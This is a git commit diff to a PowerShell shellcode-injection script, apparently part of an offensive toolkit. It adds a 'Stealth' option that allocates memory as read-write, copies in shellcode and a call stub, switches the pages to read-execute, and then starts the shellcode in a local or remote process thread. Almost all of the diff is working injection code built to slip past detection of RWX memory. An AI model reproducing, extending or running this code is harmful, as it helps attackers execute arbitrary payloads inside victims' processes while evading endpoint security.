Merge e6122ed31d into d943001a7d
This commit is contained in:
commit
09d7e8fe7f
|
|
@ -27,7 +27,11 @@ Process ID of the process you want to inject shellcode into.
|
||||||
|
|
||||||
.PARAMETER Shellcode
|
.PARAMETER Shellcode
|
||||||
|
|
||||||
Specifies an optional shellcode passed in as a byte array
|
Specifies an optional shellcode passed in as a byte array.
|
||||||
|
|
||||||
|
.PARAMETER Stealth
|
||||||
|
|
||||||
|
First allocate memory with RW permissions via the VirtualAlloc() Windows API function and then change memory permissions to RX via VirtualProtect().
|
||||||
|
|
||||||
.PARAMETER Force
|
.PARAMETER Force
|
||||||
|
|
||||||
|
|
@ -74,6 +78,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
[Byte[]]
|
[Byte[]]
|
||||||
$Shellcode,
|
$Shellcode,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$Stealth = $False,
|
||||||
|
|
||||||
[Switch]
|
[Switch]
|
||||||
$Force = $False
|
$Force = $False
|
||||||
)
|
)
|
||||||
|
|
@ -241,7 +248,14 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
}
|
}
|
||||||
|
|
||||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x04) # (Reserve|Commit, RW)
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||||
|
}
|
||||||
|
|
||||||
if (!$RemoteMemAddr)
|
if (!$RemoteMemAddr)
|
||||||
{
|
{
|
||||||
|
|
@ -253,6 +267,16 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
# Copy shellcode into the previously allocated memory
|
# Copy shellcode into the previously allocated memory
|
||||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||||||
|
|
||||||
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
# Change memory permissions from RW to RX
|
||||||
|
$RetVal = $VirtualProtectEx.Invoke($hProcess, $RemoteMemAddr, $Shellcode.Length + 1, 0x20, [Ref]0) # RX
|
||||||
|
if (!$RetVal)
|
||||||
|
{
|
||||||
|
Throw "Unable to change memory permissions from RW to RX."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# Get address of ExitThread function
|
# Get address of ExitThread function
|
||||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||||
|
|
||||||
|
|
@ -272,7 +296,14 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
}
|
}
|
||||||
|
|
||||||
# Allocate inline assembly stub
|
# Allocate inline assembly stub
|
||||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x04) # (Reserve|Commit, RW)
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||||
|
}
|
||||||
|
|
||||||
if (!$RemoteStubAddr)
|
if (!$RemoteStubAddr)
|
||||||
{
|
{
|
||||||
|
|
@ -284,6 +315,16 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
# Write 32-bit assembly stub to remote process memory space
|
# Write 32-bit assembly stub to remote process memory space
|
||||||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||||||
|
|
||||||
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
# Change memory permissions from RW to RX
|
||||||
|
$RetVal = $VirtualProtectEx.Invoke($hProcess, $RemoteStubAddr, $CallStub.Length + 1, 0x20, [Ref]0) # RX
|
||||||
|
if (!$RetVal)
|
||||||
|
{
|
||||||
|
Throw "Unable to change memory permissions from RW to RX."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# Execute shellcode as a remote thread
|
# Execute shellcode as a remote thread
|
||||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||||
|
|
||||||
|
|
@ -322,8 +363,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
Write-Verbose 'Using 64-bit shellcode.'
|
Write-Verbose 'Using 64-bit shellcode.'
|
||||||
}
|
}
|
||||||
|
|
||||||
# Allocate RWX memory for the shellcode
|
if ($Stealth)
|
||||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
{
|
||||||
|
# Allocate RW memory for the shellcode
|
||||||
|
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x04) # (Reserve|Commit, RW)
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
# Allocate RWX memory for the shellcode
|
||||||
|
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||||
|
}
|
||||||
|
|
||||||
if (!$BaseAddress)
|
if (!$BaseAddress)
|
||||||
{
|
{
|
||||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||||
|
|
@ -331,9 +381,19 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
|
|
||||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||||
|
|
||||||
# Copy shellcode to RWX buffer
|
# Copy shellcode to RW(X) buffer
|
||||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||||
|
|
||||||
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
# Change memory permissions from RW to RX
|
||||||
|
$RetVal = $VirtualProtect.Invoke($BaseAddress, $Shellcode.Length + 1, 0x20, [Ref]0) # RX
|
||||||
|
if (!$RetVal)
|
||||||
|
{
|
||||||
|
Throw "Unable to change memory permissions from RW to RX."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# Get address of ExitThread function
|
# Get address of ExitThread function
|
||||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||||
|
|
||||||
|
|
@ -350,8 +410,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||||
}
|
}
|
||||||
|
|
||||||
# Allocate RWX memory for the thread call stub
|
if ($Stealth)
|
||||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
{
|
||||||
|
# Allocate RW memory for the thread call stub
|
||||||
|
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x04) # (Reserve|Commit, RW)
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
# Allocate RWX memory for the thread call stub
|
||||||
|
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||||
|
}
|
||||||
|
|
||||||
if (!$CallStubAddress)
|
if (!$CallStubAddress)
|
||||||
{
|
{
|
||||||
Throw "Unable to allocate thread call stub."
|
Throw "Unable to allocate thread call stub."
|
||||||
|
|
@ -359,10 +428,20 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
|
|
||||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||||
|
|
||||||
# Copy call stub to RWX buffer
|
# Copy call stub to RW(X) buffer
|
||||||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||||||
|
|
||||||
# Launch shellcode in it's own thread
|
if ($Stealth)
|
||||||
|
{
|
||||||
|
# Change memory permissions from RW to RX
|
||||||
|
$RetVal = $VirtualProtect.Invoke($CallStubAddress, $CallStub.Length + 1, 0x20, [Ref]0) # RX
|
||||||
|
if (!$RetVal)
|
||||||
|
{
|
||||||
|
Throw "Unable to change memory permissions from RW to RX."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Launch shellcode in its own thread
|
||||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||||
if (!$ThreadHandle)
|
if (!$ThreadHandle)
|
||||||
{
|
{
|
||||||
|
|
@ -473,6 +552,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||||
|
$VirtualProtectExAddr = Get-ProcAddress kernel32.dll VirtualProtectEx
|
||||||
|
$VirtualProtectExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||||
|
$VirtualProtectEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectExAddr, $VirtualProtectExDelegate)
|
||||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||||
|
|
@ -497,6 +579,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
|
||||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||||
|
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
|
||||||
|
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||||
|
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
|
||||||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue